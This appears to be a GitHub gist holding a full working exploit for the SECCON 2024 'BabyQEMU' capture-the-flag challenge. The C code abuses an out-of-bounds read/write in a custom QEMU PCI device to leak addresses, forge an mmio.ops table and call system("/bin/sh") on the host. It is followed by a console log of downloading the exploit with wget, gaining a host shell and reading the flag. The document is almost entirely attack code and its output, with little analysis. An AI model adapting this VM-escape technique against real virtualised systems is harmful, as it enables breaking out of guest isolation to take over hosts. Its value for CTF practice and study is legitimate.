Skip to content

Instantly share code, notes, and snippets.

@MUWASEC
Last active November 24, 2024 02:26
Show Gist options
  • Save MUWASEC/ae0b8acf00c45a1b8ea3b7243ff74fe5 to your computer and use it in GitHub Desktop.
Save MUWASEC/ae0b8acf00c45a1b8ea3b7243ff74fe5 to your computer and use it in GitHub Desktop.
seccon 2024 quals - BabyQEMU
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/io.h>
#include <sys/types.h>
#include <inttypes.h>
#include "utils.h"
#define PCI_DRIVER "/sys/devices/pci0000:00/0000:00:04.0/resource0"
#define u64 unsigned long long
#define u32 unsigned int
#define MMIO_SET_DATA 8
#define MMIO_GET_DATA 8
#define MMIO_SET_OFFSET_LSB 0
#define MMIO_SET_OFFSET_MSB 4
#define PAGE_SIZE 0x1000
unsigned char *mmio_mem;
void mmio_write(uint32_t flag, uint32_t value) {
*(uint32_t *)(mmio_mem + flag) = value;
}
uint32_t mmio_read(uint32_t flag) {
return *(uint32_t *)(mmio_mem + flag);
}
u64 oob_read64(uint64_t offset) {
u64 retval = 0;
for (int i = 0; i < 8; i++) {
mmio_write(MMIO_SET_OFFSET_LSB, (offset+i) & (1UL<<32)-1);
mmio_write(MMIO_SET_OFFSET_MSB, (offset+i) >> 32);
retval |= (long int)((unsigned char)mmio_read(MMIO_GET_DATA)) << (i * 8); // Little-endian
}
return retval;
}
void oob_write64(uint64_t offset, uint64_t value) {
// write lsb
mmio_write(MMIO_SET_OFFSET_LSB, (offset) & (1UL<<32)-1);
mmio_write(MMIO_SET_OFFSET_MSB, (offset) >> 32);
mmio_write(MMIO_SET_DATA, value);
// write msb
mmio_write(MMIO_SET_OFFSET_LSB, (offset+4) & (1UL<<32)-1);
mmio_write(MMIO_SET_OFFSET_MSB, (offset+4) >> 32);
mmio_write(MMIO_SET_DATA, (value) >> 32);
}
int main() {
/* open pci driver */
int mmio_fd = open(PCI_DRIVER, O_RDWR | O_SYNC);
if (mmio_fd == -1) {
fprintf(stderr, "[!] Cannot open driver\n");
exit(1);
}
/* map pci driver */
mmio_mem = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED) {
fprintf(stderr, "[!] mmio error\n");
exit(1);
}
/* get leak via oob primitive */
u64 OFFSET_ms_mmio_ops = -0xc8;
u64 QEMU_ms_heap_addr = oob_read64(-0x58);
u64 QEMU_pci_babydev_mmio_ops = oob_read64(OFFSET_ms_mmio_ops);
u64 QEMU_base_addr = QEMU_pci_babydev_mmio_ops - 0xd1d100;//0x11015e0;
u64 QEMU_ms_buffer_heap_addr = QEMU_ms_heap_addr + 0x58 + 0x8;
u64 OFFSET_ms_mmio_opaque = 0 - (QEMU_ms_buffer_heap_addr - oob_read64(-0xc0));
u64 system_plt = 0x324150;//0x3306a0;
system_plt += QEMU_base_addr;
printf("[*] ms->mmio.ops address = %p\n", (u64*)QEMU_pci_babydev_mmio_ops);
printf("[*] struct ms heap location = %p\n", (u64*)QEMU_ms_heap_addr);
printf("[*] struct ms->buffer heap location = %p\n", (u64*)QEMU_ms_buffer_heap_addr);
printf("[*] offset ms->mmio.opaque heap location for $rdi = %lld\n", (u64)OFFSET_ms_mmio_opaque);
printf("[*] QEMU base address = %p\n", (u64*)QEMU_base_addr);
printf("[*] system@plt address = %p\n", (u64*)system_plt);
/* create fake ms->mmio.ops */
oob_write64(0, 0xdeadbeef); // pci_babydev_mmio_read
oob_write64(8, system_plt); // pci_babydev_mmio_write
/* overwrite ms->mmio.opaque value to /bin/sh */
oob_write64(OFFSET_ms_mmio_opaque, 0x68732f6e69622f);
/*
overwrite ms->mmio.ops to our fake mmio.ops located at ms->buffer
this will automatically try to call pci_babydev_mmio_write but instead will call system("/bin/sh")
*/
oob_write64(OFFSET_ms_mmio_ops, QEMU_ms_buffer_heap_addr);
}
// flag-3d88515f1a04703466da6ca63c4df592.txt
// SECCON{q3mu_35c4p3_15_34513r_7h4n_y0u_7h1nk}
Starting syslogd: OK
Starting klogd: OK
Running sysctl: OK
Saving 256 bits of non-creditable seed for next boot
Starting network: udhcpc: started, v1.36.0
udhcpc: broadcasting discover
udhcpc: broadcasting select for 10.0.2.15, server 10.0.2.2
udhcpc: lease of 10.0.2.15 obtained from 10.0.2.2, lease time 86400
deleting routers
adding dns 10.0.2.3
OK
Welcome to Buildroot
buildroot login: root
root
# wget http://xxx/exploit
wget http://xxx/exploit
Connecting to xxx (xxx)
saving to 'exploit'
exploit 100% |********************************| 47640 0:00:00 ETA
'exploit' saved
# chmod +x exploit && ./exploit
chmod +x exploit && ./exploit
[*] ms->mmio.ops address = 0x55b740f14100
[*] struct ms heap location = 0x55b76c333568
[*] struct ms->buffer heap location = 0x55b76c3335c8
[*] offset ms->mmio.opaque heap location for $rdi = -3064
[*] QEMU base address = 0x55b7401f7000
[*] system@plt address = 0x55b74051b150
sh: turning off NDELAY mode
id
uid=995(pwn) gid=995(pwn) groups=995(pwn)
ls -la
total 32976
drwxr-xr-x 1 root pwn 4096 Nov 20 14:28 .
drwxr-xr-x 1 root root 4096 Nov 20 14:28 ..
-rw-r--r-- 1 root pwn 4153888 Nov 20 14:21 bzImage
-r--r----- 1 root pwn 45 Nov 20 14:28 flag-3d88515f1a04703466da6ca63c4df592.txt
-r-xr-x--- 1 root pwn 533 Nov 20 14:22 pow.sh
-rwxr-xr-x 1 root pwn 27238808 Nov 20 14:21 qemu-system-x86_64
drwxr-xr-x 1 root pwn 4096 Nov 20 14:28 roms
-rw-r--r-- 1 root pwn 2330125 Nov 20 14:21 rootfs.cpio.gz
-rwxr-xr-x 1 root pwn 339 Nov 20 14:21 run.sh
cat flag-3d88515f1a04703466da6ca63c4df592.txt
SECCON{q3mu_35c4p3_15_34513r_7h4n_y0u_7h1nk}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment